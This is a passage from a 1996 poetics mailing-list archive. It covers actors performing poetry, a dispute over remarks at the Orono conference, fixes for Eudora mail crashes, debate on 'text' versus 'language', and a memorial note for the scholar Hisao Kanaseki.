service in circumstances in which it appears (no longer just dull but) craven and silly.

At bottom I think the actors will fail and the audiences will stay split, because what matters for making poetry come alive involves a manifestation of the personal in the reading that all the actors' training tends to efface. A good poetry reader is more like Schwartzenegger--always Arnold, no matter the role--than like Streep. To achieve that with the kinds of poetry in question means finding readers who will get not just to the language of those poems (an actor can do that fine) and not just to his/her own personal/public performance mode (any hack can do that, however bad it looks to others) but to a public living-out of the specific energies that mades those specific poems come specifically into a human world and matter. C. W. needs to find poet/readers who do this all the time with their own work and who really believe in and love in a specific way the works selected for presentation. A better system yet: find the willing poets, and let them pick their own favorite works from those historical moments that matter to them.

And to E. McGrand, thanks for that really lovely summary and analysis of so many of the issues here--if you don't mind, I've got some friends I'd like to pass it on to. And I'm with you all the way on Tim O'Brien, who certainly is one of the finest readers on the planet--lots of poets could take some direction there.

Jerry McGuire

P.S. Does this satisfy the concerns of the Lurker Police?

↑ Index

405. Sam Pereira
A Warning Re: The Decisiveness Of Glitches
Sat 13 Jul 1996

This is in response to Peter Quartermain's notice of having difficulty with Eudora. As I faxed Peter, and spoke to him via telephone this day, I too have had a similar occurrence. My mail is unreadable. It begins to download and then suddenly freezes and crashes my system.

While I tend to be a rather crafty middle aged poet, I never claimed to be e-mail letter carrier of the year! I AM capable of reading your posts on my AOL account, but it just seems so...so...non-literary there. :)

Anyway, pardon my rambling...I told Peter that I would post this as warning to anyone out there having problems. You are not alone. And if you have corrective measures, please, send them in this direction.

All the best,

Sam Pereira ([redacted] and [redacted])

↑ Index

406. William F. Walsh
Re: A Warning Re: The Decisiveness Of Glitches
Sat 13 Jul 1996

Don't know if this will be of any assistance to those encountering Eudora problems in the US, as I'm across the water with Ireland on Line. However, my system crashed at about 6PM yesterday (1PM east coast US time), in a similar fashion to that described by Sam Pereira--started to download mail, then froze and offered in explanation: "Error Transmitting Mail," or something equally less than helpful. The folks at IOL had me adjust my settings for POP Account from wwalsh @iol.ie to [redacted]. The addition of "gpo" did the trick. Hope this helps.

Lurking in Dublin,
William Walsh

> *This is in response to Peter Quartermain's notice of having difficulty with Eudora. As I faxed Peter, and spoke to him via telephone this day, I too have had a similar occurrence. My mail is unreadable. It begins to download and then suddenly freezes and crashes my system.*
>
> *While I tend to be a rather crafty middle aged poet, I never claimed to be e-mail letter carrier of the year! I AM capable of reading your posts on my AOL account, but it just seems so...so...non-literary there. :)*
>
> *Anyway, pardon my rambling...I told Peter that I would post this as warning to anyone out there having problems. You are not alone. And if you have corrective measures, please, send them in this direction.*
>
> *All the best,*
>
> *Sam Pereira ([redacted] and [redacted])*

↑ Index

407. Carnography
Re: The Decisiveness Of Glitches: poss solution
Sat 13 Jul 1996

Possible Solution:

Open your mail with a raw text editor (subh as BBEdit).
Then create a new inbox and save the old mailbox as a text,
which you'll then be able to open in Word.

Possible problem:

Your mailbox is probably too large too load.

Hope this helps you.

All the best,

Rob Hardin

temporary shut-in (Hurricane Urethra)

http://www.interport.net/~scrypt

↑ Index

408. robert von hallberg

Orono 2

Sat 13 Jul 1996

>To: [redacted]
>From: [redacted] (robert von hallberg)
>Subject: Orono 2
>Cc:
>Bcc:
>X-Attachments:
>
>Dear Aldon,
>
> I have your reply to my reply. I will post this on the Poetics board after I send it to you. I appreciate the offer to keep our correspondence private, but this all began with your discussion of my statements on the Poetics board, and my intention now is simply to see to it that my views are represented accurately.
> 1. I am glad that you tape-recorded the session. And I accept your warning to me about being careful about denying that I said this or that. However, the one statement that I accuse you of misrepresenting (item #1, in my last letter) is, you say, "off the tape." So the tape seems not to resolve the one matter of factual misrepresentation. I repeat now that I did not say that Hughes and Kaufman are bad poets. However, I do not question that I said that the poems cited in the first paper in particular, or even in the first two papers, were bad poems. Since I advocated the critical sifting of the poems of Hughes, I have no embarrassment about admitting here that I use the phrase "bad poems." You say in your reply to me, "you did in fact say to me that the poems discussed were 'bad poems.'" I never denied saying such a thing, but you have now alleged two quite different statements by me about "bad" this or that. The difference between the two statements hypothesized, or remembered, matters significantly. As a

critic, the category of the "bad poem" is part of my discourse; whereas to claim that Hughes (or Kaufman) is a "bad poet" would be to speak dismissively of serious writers. (Thomas Hardy seems to me a great poet who wrote an amazing number of bad poems, but he is properly assessed by his successes, not his failures.) If you now agree with me that I did not say that Hughes and Kaufman are bad poets, I would appreciate your saying so in the same place where you alleged that I did say that silly thing.
> 2. You say in your reply that your objection to my criticism of the sociological approach of the first paper in particular, but of your introductory remarks too, is that I "[seem] to [rule] out other efforts [than close reading] that I feel are worthwhile and needed."
> My objection was (I am repeating myself, because you have not met the point of my reply [item #2 in my reply]) to "simplistic sociology," as I termed it in my reply. It is not surprising to learn that only ca. 6% of the papers at the Orono conference were on race or minority writers, and similarly it is not surprising that many distinguished black writers were excluded from most mainstream anthologies. Who would have suspected otherwise? You cite Alan Golding's work, which I have treasured for many years; I seem to be ruling out the utility of that sort of work. Not at all. Alan's work gets at the not perfectly visible political impulses behind anthologies; his work is very surprising. A tabulation of racist exclusion from mainstream anthologies just isn't surprising now, in 1996. We need to move on to the next phase, which I claimed is close analysis and evaluative argument, because the demonstration of the influence of racism in the construction of literary canons and histories has been done cogently. This was my claim at the Orono conference.
> 3. You say in your reply that what angered you was that "you did not ask a question, nor did you offer your comments in a way directed specifically to elements of the papers that might help their authors (or even me) to improve the work in hand. . . . Yo would be far more likely to achieve the result you seem to have aimed at by engaging directly with an element of the readings about which one might argue productively."
> This is a little complicated. I am sorry that I angered you, really. You're right about the objective of my comments: they were not aimed at improving the first two papers presented. I feel that another sort of work should be done, viz. close evaluative argument of particular poems. I could not, however, have engaged with "the readings," because no readings were presented, by my lights. That is the point.
> Yes, I might have commented in such a way that I could have helped the authors to write a more sophisticated sort of literary sociology. If I had felt that they weere likely to develop those papers into surprising sociological analysis, I might have done so. My judgment was that as

literary sociology these papers were best left alone.
> 4. You say that you remain puzzled by my comments about Pound and race. My point was straightforward, and I hope that it is on your tape. I had difficulty seeing the advantage of calling Pound and Eliot's moves to London as "white flight." Furthermore, I claimed that if one wanted to meet Pound's ideas about race, segregation, miscegenation, etc., one needed to realize that the Other for him in his formative years and in the peak period of his modernism (ca. 1909-1939, say) was not African American but Italian. Pound lived in Philadelphia when Italians were the controversial new immigrants. His parents did social work aimed at integrating Italians in Philadelphia. Pound left the States to begin his career in Italy. He devoted much of his literary critical efforts in London to advocating the importance of an understanding of southern, Mediterranean literary and intellectual culture. He retreated from London in 1920-21, then from Paris before 1924, and stayed in Italy until he was transferred as a prisoner to Washington in 1945. He was not in flight from the culture he knew in his early American years as the butt racist jokes and bigotry. This is not to say that he had no racist views about African Americans, only that a convincing account of his thinking about race and racism must deal centrally with his dealings with Italian culture. The racism of the post-1945 era is negrophobic; the racism of the first years of the century in Philadelphia was Italophobic. I felt that the attack on Pound as in flight from black people was anachronistic.
> I think that I have dealt with the remaining areas of disagreement between us that I could see in your reply. I have not commented on the areas of agreement, though I was pleased to see that they exist. If I have overlooked something, please let me know.
> I would of course like to have a copy of the tape.
>
> Yours, Robert von Hallberg
>

↑ Index

409. robert von hallberg
re orono 2
Sat 13 Jul 1996

Several days ago I sent a reply to Aldon Nielsen entitled Orono 2. I have now posted that here for others to read, if they wish. My replies are now getting repetitious. Unless something new comes up in the replies of Aldon's that I have not yet read, I will probably drop the matter, because I can't imagine it

being of any more interest to people. One last little matter: I do, I do, read Callaloo. Am I on tape denying that too, Aldon?

Bob

↑ Index

410. **Charles Bernstein**
[redacted]
Sat 13 Jul 1996

//////////Fiftieth//////////////////

> *Birthday<<<<<*

==========Greetings>>>>>

^^^^^^^to^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^^^^^

Pierre Joris

***** born July 14, 1946 ****

↑ Index

411. **filch**
Eudora
Sat 13 Jul 1996

You might try making more memory available to the app. Eudora, as any app., will crash if the total size of files it is dealing with are too large for its buffer.

Good Luck.

> *This is in response to Peter Quartermain's notice of having difficulty with Eudora. As I faxed Peter, and spoke to him via telephone this day, I too have had a similar occurrence. My mail is unreadable. It begins to download and then suddenly freezes and crashes my system.*
>
> *While I tend to be a rather crafty middle aged poet, I never claimed to be e-mail letter carrier of the year! I AM capable of reading your posts on my AOL account, but it just seems so...so...non-literary there. :)*
>
> *Anyway, pardon my rambling...I told Peter that I would post this as warning to anyone out there having problems. You are not alone. And if you have corrective measures, please, send them in this direction.*
>
> *All the best,*
>
> *Sam Pereira (*[redacted] *and* [redacted]*)*

↑ Index

412. Schuchat
Re: Joyce Conference
Sat 13 Jul 1996

The Xiao Qian mentioned as author of the possibly plagarized translation of Ulysses into Chinese is much better known as novelist/journalist than professor. Among other things, he covered WWII in Europe for Chinese papers. His autobiography, TRAVELLER WITHOUT A MAP, is available in English, translated by Jeffrey Kinkley, I think from Stanford.

The idea of using of regional dialects in Chinese to approximate dialect usage in European fiction is pretty old. One of Thomas Hardy's novels was translated into Shanxi dialect, if I remember right. A separate Taiwan translation would be like insisting that South Carolineans need their own translation of Dostoevsky so that they can understand it read aloud.

In any case, Jin's translation is the one easily available here in Taipei. I am told by those who have read both that Jin's is the more academic, Xiao's is a contribution to the development of Chinese prose. But they no doubt have their own axes to grind.

↑ Index

413. George Bowering
Re: of the whole art/spam two generations
Sat 13 Jul 1996

> *On Fri, 12 Jul 1996, George Bowering wrote:*
>
> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*
>
> *Nor do I, you.*
>
> *Tristan*

--Neither do I, I.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

414. Charles Alexander
Re: of the whole art/spam two generations
Sat 13 Jul 1996

> *On Fri, 12 Jul 1996, George Bowering wrote:*
>
> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*
>
> *Nor do I, you.*
>
> *Tristan*
>
> *--Neither do I, I.*

i do not i

↑ Index

415. James Brook
Re: text/language
Sat 13 Jul 1996

Gabrielle, Burt, Maria, George & Co.,

I realize that the dictionary definition of a word is not, well, the last word. But it does mean something; and, in this case, the OED gives some perspective on the word "text" that might dissuade from a sudden plunge into "weaving" and wondering whether all the world's a text. (In my opinion, one of the great mistakes of structuralism was taking the model of Sausserean linguistics and projecting it absolutely everywhere.)

In a way, though, I could see an argument for a kind of "reading" that historically precedes writing and text; one that might even have laid the foundation for the development of writing: divination, the reading of natural signs to reveal

hidden truths. ("Divine: To make out by supernatural or magical insight; hence, to interpret, explain, make known. . . .") I think Walter Benjamin speculates along these lines somewhere. . . .

Anyway, this is not to say that someone can't extend the meaning of "text" to include all manner of objects. But to apply the word to, say, the productions of oral cultures would, in my view, obscure what distinguishes oral from literate cultures or, in our impending case, postliterate cultures.

--James Brook

from The Shorter OED, 3rd ed.:

Text [note on the word's derivation from the French "texte," which derives from the Latin "textus"--meaning "the style of literary works" (Quintillian) and, in Medieval Latin, "the Gospel, written character" --and, ultimately, from "texere" (weave)] 1. The wording of anything written or printed; the structure formed by the words in their order; the very words, phrases, and sentences as written. . . . 2. esp. The very words and sentences as originally written. . . . 3. spec. The very words and sentences of Holy Scrpture; hence, the Scriptures themselves; also, any single book of the Scriptures. . . .

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416. Carl Lynden Peters
Re: of the whole art/spam two generations
Sat 13 Jul 1996

>
> >>On Fri, 12 Jul 1996, George Bowering wrote:
> >>
> >>> >Hi. What's the unconscious?
> >>> >
> >>> >Jordan
> >>>
> >>> I dont know what yr talking about.
> >>
> >>Nor do I, you.
> >>
> >>Tristan
> >
> >
> >--Neither do I, I.
>
>
> i do not i

>
id, we're getting closer!

↑ Index

417. Aldon L. Nielsen
Re: OrOno release 2.3
Sun 14 Jul 1996

Robert -- the tape is in the mail -- I didn't see a listing for you in the MLA directory, so I mailed it to the Chicago address listed in Modernism/Modernity. I enclosed what I hope will be my last letter on this subject. I will not burden the other listmembers with it here.

I will, again, invite any who do care about this to read your first and second messages on this post. It's not really true that they repeat; as I pointed out last time, the claims change from one to the next.

As you well know, you did not say: "I don't read x, y, z." I named a series of journals in which close readings of texts and notices of conferences often appear. You replied that you cannot be an expert in every field. Excuse me for not knowing that this reply did not apply to each of the journals I had named. On the other hand, since you now tell me that you do read _Callaloo_, your other responses with regard to knowing about conferences having to do with African-American poetry are even more inexplicable. (Though it is all too often the case that, as with many journals, the notices appear too late.)

Your most recent note also clarifies much else. I was profoundly troubled by your remark (which, as you will hear, is on the tape) that very little had been heard at the panel about the poems. Now you indicate that there were no close readings, or satisfactory readings, or good uses of sociological approaches, in the first two papers, by your lights. This clarification is sure to put everything in its proper perspective. You have now made it clear that you had no intention of offering anything of real use to the authors of these papers because you didn't believe they were likely to profit from such a critique -- This, still, does not explain how you reached the conclusion that arguments opposing exclusion on the basis of identity formations were in fact arguments assuming that poets should primarily represent identity formations.

I will gladly discuss with you any of the substantive issues regarding race, poetics, representation, identity formation, literary histroy, etc. that might arise from this episode. I will gladly listen to any further explanations you may offer about what appears on the tape of your remarks. I will not engage further in any discussions about anything that is not on the tape. In your first meesage, as I pointed out last time, you denied having used my opening remarks as an example. You can now hear on the tape that my remarks were the first thing

you mentioned. In your first message you carefully explained what you really objected to in certain sociological approaches to literature, without ever acknowledgiing that this differed from what you had said after the panel, and what you will now hear on the tape. Now that you know the tape exists, you seem to have shifted to arguments about that which was not recorded. I will not follow you into that thicket. If any of the other people who were around the podium during that portion of the discussion indicate to me that my memory has been in any way inaccurate, I will then post that information here.

and that, as they say, is all she wrote. happy listening.

↑ Index

418. **Aldon L. Nielsen**

Re: Having now resigned from professional wrestling, I ask

Sun 14 Jul 1996

Can anyone on this list give me any information about a poet named Gloria Tropp? She was active on the East Village scene in the arly sixties, and was then married to poet Stephen Tropp -- I'm particularly interested in tracking down any publications by this poet -- It's possible her name may have changed since that time --

For that matter, does anyone know Stephen Tropp?

Is Dick Higgins still on this list, who might have encountered them ?

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419. **Aldon L. Nielsen**

Re: You May Already Have Won

Sun 14 Jul 1996

This Week's Contest -- Prize goes to first person on the list to identify the poem from which the following is excerpted -- and the poet --

You remember I said that Poe was three parts genius.
As to Whitman, can you think of an action more heinous
Than to write the same book every two or three years?
It's enough to reduce any author to tears
At the thought of this crime to the writing fraternity.
A monstrous, continual, delaying paternity.

Winner gets a copy of _The Unruly Voice: Rediscovering Pauline Elizabeth Hopkins_ U of Illinois Press, 1996 -- ed. John Gruesser

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420. Gabrielle Welford
Re: text/language
Sun 14 Jul 1996

On Fri, 12 Jul 1996, James Brook wrote:

> *Unless one stretches the concept of "text" into very obscure shape, there's no possibility of a text before the advent of writing.*
>
> *Language is above all *spoken*--linguists tend to see writing systems (which underlie texts) as secondary, derivative, and imperfect recordng devices of the spoken language.*

Yes, I think linguists probably do this. But I don't think we normally make such a distinction, in everyday life, so to speak. Aren't poets and all writers dealing with language? I would think Gertrude Stein was playing with language. She produced texts out of her play with language. The texts are written in language. I know we have (the royal academic we) made a special word of "text" and probably also out of "language." So texts are written langauge? gab.

↑ Index

421. George Bowering
Re: of the whole art/spam two generations
Sun 14 Jul 1996

> *On Fri, 12 Jul 1996, George Bowering wrote:*
>
> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*
>
> *Nor do I, you.*
>
> *Tristan*
>
> *--Neither do I, I.*
>
> *i do not i*

--Oh, I'll bet you I from time to time.

.....
"a vivid weightless bean"
--A. Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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422. George Bowering
Re: text/language
Sun 14 Jul 1996

Some people, when talking to me about text, use it in a sense resembling the sense of "context,"-- i.e., the spoken or written word, say, in its relationship with other words and things in the world into which it enters. In that way, we might be said to be enacting a text all the time. It is a nice notion, though I would tend not to entertain it all the time, because I want to get things done, not just think about them.

.....
"a vivid weightless bean"
--A. Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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423. Robert Mittenthal
The Parasite Rules!
Sun 14 Jul 1996

[As Herb Levy suggested, the following mess has been pre-Digested -- just the way us parasites like it.]

Hey Ron Silliman--you've got it all wrong--parasites are all for noise--but not for rules. In fact, thinking of M Serres, our very presence on the list may be disruptive to what would otherwise be a much less complex system of exchange.

Your successful email agit prop -- inviting all the parasites to table (thereby bringing Eudora to her knees on computers across the globe--finally a

revolution!) -- reminds me of a long troubling _statement_ (??) from your collaboration in Legend (p 71) w/Bruce Andrews.

BA (presumably?) posits: COMMODITY/PRACTICE : ECONOMICS/POLITICS

RS (presumably?) translates: any reader (this means YOU) who is not also a writer is (by definition) a victim

Both your recent _parasite_ post and this 16yr old quote set up non-dynamic binaries of writer and reader (or active and passive elist participants). Impersonally, I crave those rare moments when I dont know if I'm reading or being read -- a sort of intense suspension which occurs, e.g., when reading certain Blanchot texts, Ballard's Crash, or gosh maybe Steven King (hi Kevin!). But this doesn't make me a victim. In a weird way maybe this is what a certain kind of writing (by dictation anyway) is all about. It's okay to embrace the radical passivity posited by Agamben -- that is -- a passivity which is not simply opposed to activity but passive in regard to itself -- submitting to itself as if to an external power. For some reason, this always makes me think of Spicer. A passivity that produced an imaginary which still captivates.

Anyway, here's hoping that yr agitating tongue was at least half in cheek.

Robert Mittenthal

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424. George Bowering
Re: Beatle Bones and Smokin' Stones
Sun 14 Jul 1996

> *I've heard that one---the 60's started in 11-22-63 when kennedy died*
> *and "i wanna hold your hand" was released in u.k. and the fifties*
> *didn't start until 1955. but the difference between the fourties*
> *and the fifties is minor in comparison unless the fourties started*
> *BEFORE and/or at PEARL HARBOUR rather than when the boys came home*
> *and tvs. etc. pushed women back into domesticity becoming suburban*
> *and the car began ruining things.....*
>
> *and the 70's--b--1974. d 1979 (when jimmy carter decided to part his*
> *hair to the right rather than left?) or perhaps died when phil ochs*
> *did--i.e. when carter got elected ("oatmeal man" gil scott heron)*
> *but what were the 70s? the 80s were clearly the 80s all throughout*
> *and they spilled over into 1992--and thne there was that brief euphoria*
> *on the pumice of morons when GUITARS started dominating rock and roll*
> *again and visions of canadian style health car plans danced in the*
> *amerikan head.....brief, briefheart, cap n crunch....*

---Dear Chris:

I noticed that your suggestions on the beginnings of decades are almost all connected to things that happened in one country, the USA. Didnt they have fifties and sixties and seventies in the rest of the world?

For instance, the idea that the forties started with Pearl Harbor. You know, quite a few people were busy fighting fascism for some time before the Yanks were finally dragged into the business. I'd say that the forties started in Sept. 1939.

.....
"a vivid weightless bean"
--A. Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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425. George Bowering

Re: [redacted]

Sun 14 Jul 1996

So Pierre Joris was conceived just after WW2 shut down in Europe.

Hmmmmm.

Is there something to be deduced from this?

Is Pierre the spirit of the new age?

.....
"a vivid weightless bean"
--A. Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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426. **Eryque Gleason**
Re: Eudora
Sun 14 Jul 1996

---

if these email problems haven't been resolved, and if someone could pass it on to those in need: occassionally eudora will do odd things if it's got too many messages in any one mailbox (sometimes the way this list moves, leaving mail unchecked for a couple days might do it), eudora will sometimes get a little uppity, doesn't like to work that hard. when i ran into this problem i was able to fix it by creating new mailboxes and transferring some of the mail to those, that way eudora only has to deal with all that mail in smaller bundles.

also, if using eudora for macintosh, try trashing the eudora preferences file. this forces the app to make a new set of preferences (though don't empty the trash unless this works!) which usually cleans up minor problems. if using eudora on a pc, might try re-installing it (uninstalling first, if possible), but only after backing up the eudora directory.

happy eudoring!

eryque

↑ Index

427. **Sam**
Re: Eudora
Sun 14 Jul 1996

Thanks to all who offered their expertise in the above matter. I found that, for myself anyway, going into the mail via VT100 and clearing it out that way freed up the system. All is well again...all those fabulous minds hitting my mailbox in rural hell!

And, over the weekend, an offering to do a newspaper column regularly...anything my heart desires...I am warning the readers in my first born, that it may even include an occasional mention of POETRY. That ought to scare the living bejeezus out of em, eh?

Thank you all for the prompt efforts. I could have tried contacting tech support somewhere, but it wouldn't have been nearly as much fun.

As always,

Sam

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428. **Tony Green**
O sole cism
Sun 14 Jul 1996

For Robert Drake's attention --

HEGEMONEY

As clear as a whistle the forces
Of nature are taking their tool
On mankind. I wouldn't say
A lack of inexperience.

No praise is too high enough for him. She turned
The canvas on the evil. The laugh
Was on the other foot.

[n.b. collected, not made up]

Tony Green,
e-mail: [redacted]

↑ Index

429. **Joseph Zitt**
Re: O sole cism
Sun 14 Jul 1996

On 15 Jul 96 at 11:32, Tony Green wrote:

> *As clear as a whistle the forces*
> *Of nature are taking their tool*
> *On mankind.*

Is it just me, or did this sentence immediately play in other people's heads to the tune of "I'm Called Little Buttercup"? (I gotta replace these brainscape plugins !-]) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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430. **Steve Carll**
Re: Eudora
Sun 14 Jul 1996

At 02:40 PM 7/14/96 -0700, Sam wrote:
> Thanks to all who offered their expertise in the above matter. I found

>that, for myself anyway, going into the mail via VT100 and clearing it out
>that way freed up the system. All is well again...all those fabulous minds
>hitting my mailbox in rural hell!

The same problem hit me three days in a row (Thu-Fri-Sat). I don't leave more than a few messages in my mailbox, so that can be ruled out, and I reinstalled Eudora twice. The common factor in all these occurrances was that Eudora was downloading messages posted to this list from Bill Marsh (hi Bill!) I telnetted into my shell account and used Elm to delete just Bill's posts, and the rest downloaded into Eudora just fine. Whenever Eudora tried to download one of Bill's, it crashed with an "application error: integer divide by zero" (whatever that means.) I got the same error thereafter trying to repair the "in" mailbox table of contents. I noticed when reading the posts in Elm that all are dated December 31, regardless of when they were actually sent. Otherwise, they're no different from any other e-mail as far as I can see. I would think that something odd is happening to the mail at Bill's end (either with his email program or his service provider) that's configuring his mail in such a way that certain of our email programs don't know how to deal with. Of course, the tech support guys I've talked to in the last couple days aren't much help. One said, "You might try downloading your email with Netscape." Which may or may not get around the problem, but it doesn't really explain much about it.

++++++++++++++++++++++++++++
[redacted]
http://writing.upenn.edu/epc/ezines/antenym/

"In seed-
sense
the sea stars you out, innermost, forever."
--Paul Celan
\\\

perhaps for the first time in Japanese), Cage and the Beat as well. Many people who are now writing about American poetry used to be his students and many poets, including Shuntaro Tanikawa, were his friends. I myself didn't have the chance to study with him, but I started to read Ashbery after I read his article in _Eigo Seinen_, and it was fun to discuss Stein with him over cups of sake. He died of lung cancer. He was 78.

Akitoshi Nagahata
email: [redacted]

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432. Tony Green
Re: critics vs. poets (tag team round three)
Sun 14 Jul 1996

"Artifice of Absorption" is a text that can be read as, it itself suggests v early on, as poetry or as this or that. So saying, it is clear that "readings" are perspectives on a text, from a given view-point, such as that which takes the text mainly on the level of its philosophical argument, or mainly as a play of syntax, or syntax and sound, or sound. Some perspectives are less usable than others, as for instance reading the text as an instruction on how to build a shed. With representational arts like picture-making, the texture that is in question here is the specifics of the graphic materials and their manipulation so that a scene can be seen. The absence of attention to the process by which one reads from this texture to the picture and its contents is virtually absent from art writing. This is a serious deficiency (and a matter I have been giving my attention to for many many years). I believe that the equivalent in writing is that between the words heard or read and the sense that we have them make. In all of the arts the crucial critical issue is the understanding of the passage from the texture to the reading of the text established by the know-how of the artist. That is what we should probably recognise as the art that criticism concerns itself with as fundamental. What is doleful is the large-scale absence from criticism of this fundamental process of reading which underpins all other contents. Criticism for the most part functions as if the given were the contents, whereas it is the inert stuff of paint or words or whatevers turning into contents that artist make happen.

Tony Green,
e-mail: [redacted]

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433. Carnography
Re: Hisao Kanaseki
Mon 15 Jul 1996

Akitoshi:

From your description, Hisao Kanaseki's work sounds fascinating. His style would seem to address certain problems with critical language: immediacy and invention, for example. What was Mr. Kanaseki's practice when it came to critical terminology-- spec., the idea that critics must use a limited repertoire of academically accepted terms, ideas and interdisciplinary approaches? I've found that, for all its seeming disregard for the phallocentric engines of European history, and for the so-called ivory towers of the academy, American letters seems to revere a only limited number of critical approaches, most of them derived from linguistics and semiotics (Lacan, Barthes, etc.).

> *He died of lung cancer. He was 78.*

My condolences to your and to your culture's loss. Are there any translations of Kanaseki's books in English?

All the best,

Rob Hardin

PS: Are you familiar with the criticism of Takayuki Tasumi and Mari Kotani?

http://www.interport.net/~scrypt

↑ Index

434. Marjorie Perloff
Re: Akitoshi's note
Mon 15 Jul 1996

I'm very sad to hear about Dr. Kanaseki. I had drinks with him in Tokyo a couple of years ago and he gave me his beautiful translation (beautiful to look at, I can't tell how good it is) of TENDER BUTTONS. He was a lovely person, devoted to U.S. new poetries, had worked with Gary Snyder closely, and so on. Will there be any sort of memorial?

Thanks, for passing on the news, Akitoshi! And hello from Los Angeles! Hope all is well with you.

Marjorie

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435. **Carnography**

Re: critics vs. poets (tag team round three)

Mon 15 Jul 1996

Tony:

> *In all of the arts the crucial critical issue is the understanding of the passage from the texture to the reading of the text established by the know-how of the artist. That is what we should probably recognise as the art that criticism concerns itself with as fundamental. What is doleful is the large-scale absence from criticism of this fundamental process of reading which underpins all other contents. Criticism for the most part functions as if the given were the contents, whereas it is the inert stuff of paint or words or whatevers turning into contents that artist make happen.*

Thanks for addressing what I consider to be a fundamental deficiency in the poetic discourse I find both here and in most English departments across America. A case in point: The first thing one notices about Mr. Watten's stanza-work, _Progress_, is its innovative, idiosyncratic surface (style, diction, syntax, scansion, rhythm) and the relentless subversion of figures of speech, conventional metaphors and common syntactical grids. Yet the only place I've ever found an accurate description of its technical properties was not in one of the myriad of language poetry journals of the eighties, not in a paper taught at Brown University or Cal Arts, but rather in _The Princeton Encyclopedia of Poetics_. What does this say about our critical interest in the texture of the writing itself?

Neither/Nor restored

To remark upon this dearth of critical attention is neither to incite vitriol nor to invite mere silence from those who do not share my interests: other modes of critical discourse need not be usurped or ignored simply because I choose to write and read technical analyses of the texture of poetic language. I am still interested in hearing from other poets as to how they approach what they write. I'd also like to read analyses of the surfaces of poems. If ppoets are not comfortable using what they perceive to be an accepted critical vocabulary, so much the better.

Question: Melville is almost universally considered to have been a wretched poet. But after a century of systematic trun- cations, diminutions and elisions of the iambic line, does Melville's dogerrel now yield a rhythmic richness that was unavailale to more conventionally competent poets of his period?

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

436. Christopher K. Whipple
Thank you for your responses
Mon 15 Jul 1996

I want to thank everyone who responded to my request for ideas and advise concerning a project I'm doing. The project is a season of performed poetry built around themes and using actors. The intelligently thought out responses I received have become a real resource for me.

It seems the idea of using actors in order to deliver the poetry has touched on a kind of fault line, at which notions of spontanaity versus rehearsal, language versus interpretation, immediacy versus preconception, honesty versus training, clash and grind against one another. Hopefully I will find a way to harness the unstable energy underlying the merger of the two traditions of theater and poetry--thank you for making me aware of it.

I would like to make my actors aware of the complexity of these issues, and of the diversity opinions and even prejudices that may be waiting to receive our work. I thought of putting exerpts from your responses on the web site I created for this project (it's a kind of "conferencing zone" for my far flung actors), but I cautiously went back and read the conditions of my subscription to this newsgroup and found the following caveat:

"IMPORTANT: This list is confidential. You should not publicly mention its existence, or forward copies of information you have obtained from it to third parties."

I think that's pretty straightforward. I cannot duplicate and disperse your responses. Which is really a good policy, after all.

But I do invite you to visit my web site at Verseworks and post your comments directly via the site's "blackboard".

Thanks again, to Shananne Tangney, David Baratier, Lisa Samuels, Kathrine Varnes, Rob Hardin, Peter Quartermain, Tony Green, Charles Alexander, Dean Tariuch, James Brook, Christopher Filkins, Judy Roitman, Pat Pritchett, Eliza McGrand, wystan, Nada Gordon and Michelle Roberts for your responses.

Christopher K. Whipple

↑ Index

437. Ron Silliman
Two from Bowering, one for Rob
Mon 15 Jul 1996

(1) "I noticed that your suggestions on the beginnings of decades are almost all connected to things that happened in one country, the USA. Didnt they have fifties and sixties and seventies in the rest of the world?"

Sheesh. You probably don't date the founding of Canadian literature from the day when Robin Blaser, George Stanley and Stan Persky moved to British Columbia either....

(2) So Pierre Joris was conceived just after WW2 shut down in Europe.
>
>Hmmmmm.
>
>Is there something to be deduced from this?

Arkadii Dragomoshchenko and I (both of whom will be turning 50 this summer) once noted that there are a lot of "victory babies" in this scene, and that they aren't all descended from the same army either.

(3)

Rob,

I always write with tongue posted firmly in cheek. Where else can one get the most serious writing done?

All best,

Ron Silliman
[redacted]

↑ Index

438. Jonathan A Levin
Re: text/language (fwd)
Mon 15 Jul 1996

---------- Forwarded message ----------
Date: Fri, 12 Jul 1996 15:16:21 -0600 (MDT)
From: Marisa Januzzi <[redacted]>
To: [redacted]
Subject: Re: text/language (fwd)

Jon--

They apparently have not straightened out this problem-- can you forward for me? Thanks.....

I still miss you. Will call to give the newsless update!

xx,M

---------- Forwarded message ----------
Date: Fri, 12 Jul 1996 15:09:50 -0600 (MDT)
From: Marisa Januzzi <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: text/language

On Fri, 12 Jul 1996, Gabrielle Welford wrote:

> *How can text and language be distinguished? I guess have to take a long look at how the word "language" and "text" can and can't sensibly be used. Otherwise into the foggy dew we go. gab.*

Text as score for linguistic performance? How's that? (Textual editors make the distinction for pragmatic reasons...) Why do you ask? _____

And here's my bedside exhibitionist booklist, and I guess my lurker dues:

1) Loy and more Loy-- Carolyn Burke's bio, and Roger Conover's edition of the poems, are both out. It's a Loyfest. (And it may well happen, soon, in Aspen... I'll keep y'all posted.)

2) Johnson's ARK. And all the cookbooks of his I've gotten hold of! (Thanks again to Charles Alexander et al. for putting me in touch with Living Batch)(My near neighbors right next door in New Mexico!!)

